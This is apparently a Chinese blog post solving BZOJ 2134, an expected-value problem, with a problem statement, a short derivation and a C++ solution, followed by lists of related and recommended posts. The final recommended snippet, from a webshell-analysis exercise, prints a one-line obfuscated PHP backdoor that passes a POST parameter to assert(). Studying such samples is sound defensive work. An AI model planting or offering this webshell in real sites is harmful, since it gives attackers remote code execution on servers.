Description

Input

n很大,为了避免读入耗时太多,

输入文件只有5个整数参数n, A, B, C, a1,

由上交的程序产生数列a。

下面给出pascal/C/C++的读入语句和产生序列的语句(默认从标准输入读入):

// for pascal

readln(n,A,B,C,q[1]);

for i:=2 to n do q[i] := (int64(q[i-1]) * A + B) mod 100000001;

for i:=1 to n do q[i] := q[i] mod C + 1;

// for C/C++

scanf("%d%d%d%d%d",&n,&A,&B,&C,a+1);

for (int i=2;i<=n;i++) a[i] = ((long long)a[i-1] * A + B) % 100000001;

for (int i=1;i<=n;i++) a[i] = a[i] % C + 1;

选手可以通过以上的程序语句得到n和数列a(a的元素类型是32位整数),

n和a的含义见题目描述。

2≤n≤10000000, 0≤A,B,C,a1≤100000000

Output

输出一个实数,表示gx期望做对的题目个数,保留三位小数。

Sample Input

3 2 0 4 1

Sample Output

1.167

【样例说明】

a[] = {2,3,1}

正确答案 gx的答案 做对题目 出现概率

{1,1,1} {1,1,1} 3 1/6

{1,2,1} {1,1,2} 1 1/6

{1,3,1} {1,1,3} 1 1/6

{2,1,1} {1,2,1} 1 1/6

{2,2,1} {1,2,2} 1 1/6

{2,3,1} {1,2,3} 0 1/6

共有6种情况,每种情况出现的概率是1/6,gx期望做对(3+1+1+1+1+0)/6 = 7/6题。(相比之下,lc随机就能期望做对11/6题)

Solution

单独考虑每道题的贡献,第 \(i\) 题与第 \(i-1\) 题正确答案相同的期望为

\[\frac{\min\{a_i,a_{i-1}\}}{a_i*a_{i-1}}=\frac{1}{\max \{a_i,a_{i-1}\}}
\]

线性扫过去积累贡献就好了

#include<bits/stdc++.h>
#define ui unsigned int
#define ll long long
#define db double
#define ld long double
#define ull unsigned long long
const int Mod=1e8+1;
int n,A,B,C,st,pre,now;
db ans;
template<typename T> inline void read(T &x)
{
T data=0,w=1;
char ch=0;
while(ch!='-'&&(ch<'0'||ch>'9'))ch=getchar();
if(ch=='-')w=-1,ch=getchar();
while(ch>='0'&&ch<='9')data=((T)data<<3)+((T)data<<1)+(ch^'0'),ch=getchar();
x=data*w;
}
template<typename T> inline void write(T x,char ch='\0')
{
if(x<0)putchar('-'),x=-x;
if(x>9)write(x/10);
putchar(x%10+'0');
if(ch!='\0')putchar(ch);
}
template<typename T> inline void chkmin(T &x,T y){x=(y<x?y:x);}
template<typename T> inline void chkmax(T &x,T y){x=(y>x?y:x);}
template<typename T> inline T min(T x,T y){return x<y?x:y;}
template<typename T> inline T max(T x,T y){return x>y?x:y;}
int main()
{
read(n);read(A);read(B);read(C);read(st);pre=st;
for(register int i=2;i<=n;++i)now=(1ll*pre*A+B)%Mod,ans+=1.0/(db)(max(pre%C,now%C)+1),pre=now;
ans+=1.0/(db)(max(st%C,now%C)+1);
printf("%.3f\n",ans);
return 0;
}

【刷题】BZOJ 2134 单选错位的更多相关文章

  1. BZOJ 2134: 单选错位( 期望 )

    第i个填到第i+1个的期望得分显然是1/max(a[i],a[i+1]).根据期望的线性性, 我们只需将每个选项的期望值累加即可. ---------------------------------- ...

  2. bzoj 2134 单选错位(期望)

    [题目链接] http://www.lydsy.com/JudgeOnline/problem.php?id=2134 [题意] ai与ai+1相等得1分,求期望. [思路] 每个题的期望都是独立的. ...

  3. BZOJ——2134: 单选错位

    http://www.lydsy.com/JudgeOnline/problem.php?id=2134 Time Limit: 10 Sec  Memory Limit: 259 MBSubmit: ...

  4. BZOJ 2134 单选错位 ——期望DP

    发现概率是∑1/两道题答案相同的概率, 稍加化简 #include <map> #include <ctime> #include <cmath> #include ...

  5. [ BZOJ 2134 ] 单选错位

    \(\\\) \(Description\) 一共\(N​\)道题目,第\(i​\)道题有\(A_i​\)个选项,现在有一个人做完了所有题目,但将每一道题的答案都写到了下一道题的位置\((​\)第\( ...

  6. 【BZOJ】2134: 单选错位 期望DP

    [题意]有n道题,第i道题有ai个选项.把第i道题的正确答案填到第i+1道题上(n填到1),问期望做对几道题.n<=10^7. [算法]期望DP [题解]正确答案的随机分布不受某道题填到后面是否 ...

  7. Bzoj 2134: [国家集训队2011]单选错位(期望)

    2134: 单选错位 Time Limit: 10 Sec Memory Limit: 259 MB Description Input n很大,为了避免读入耗时太多,输入文件只有5个整数参数n, A ...

  8. 【刷题】BZOJ 2407 探险

    Description 探险家小T好高兴!X国要举办一次溶洞探险比赛,获奖者将得到丰厚奖品哦!小T虽然对奖品不感兴趣,但是这个大振名声的机会当然不能错过! 比赛即将开始,工作人员说明了这次比赛的规则: ...

  9. 【刷题】BZOJ 4543 [POI2014]Hotel加强版

    Description 同OJ3522 数据范围:n<=100000 Solution dp的设计见[刷题]BZOJ 3522 [Poi2014]Hotel 然后发现dp的第二维与深度有关,于是 ...

随机推荐

  1. jqgrid 主键列的设定

    1.如果需要对jqgrid表格数据有互动操作,需要设定主键列. 2.主键列的作用为:在进行jqgrid表格数据交互(编辑.新增.删除行)时,是通过主键列的值来作为引导值来的. 3.注意:不要给一个jq ...

  2. mysql自定义函数并在存储过程中调用,生成一千万条数据

    mysql 自定义函数,生成 n 个字符长度的随机字符串 -- sql function delimiter $$ create function rand_str(n int) returns VA ...

  3. C#中用HttpWebRequest中发送GET/HTTP/HTTPS请求

    C# HttpWebRequest GET HTTP HTTPS 请求  作者:周公(zhoufoxcn)    原文:http://blog.csdn.net/zhoufoxcn 这个需求来自于我最 ...

  4. Swift使用AlamoFire超时设置和事件处理

    一直在写swift项目,正好碰到服务器部署,请求超时或者请求失败的问题,页面就卡着不动了.顺手解决一下吧 差了些资料,说要设置超时时间 方法一: static let sharedSessionMan ...

  5. c# 菜鸟包裹查询

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.W ...

  6. # 2017-2018-2 20155319『网络对抗技术』Exp7:网络欺诈防范

    2017-2018-2 20155319『网络对抗技术』Exp7:网络欺诈防范 一.原理与实践说明 1.实践目标 本实践的目标是:理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 2. ...

  7. Caffe学习系列——工具篇:神经网络模型结构可视化

    Caffe学习系列——工具篇:神经网络模型结构可视化 在Caffe中,目前有两种可视化prototxt格式网络结构的方法: 使用Netscope在线可视化 使用Caffe提供的draw_net.py ...

  8. Visual studio 2017中 Javascript对于Xrm对象模型没有智能提示的解决办法

    Visual studio 2017中 Javascript对于Xrm对象模型没有智能提示的解决办法 先上个图.语法提示支持到 Microsoft Dynamics xRM API 8.2 也就是cr ...

  9. Unity3D Shader 学习笔记(一):初识Shader

    第一节:图形处理器简史 GPU发展简史 GPU英文全称Graphic Procssing Unit. T&L变换和光照流水线 可编程GPU GPU的优点和缺点 第二节:Unity Shader ...

  10. WebShell代码分析溯源(第1题)

    <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...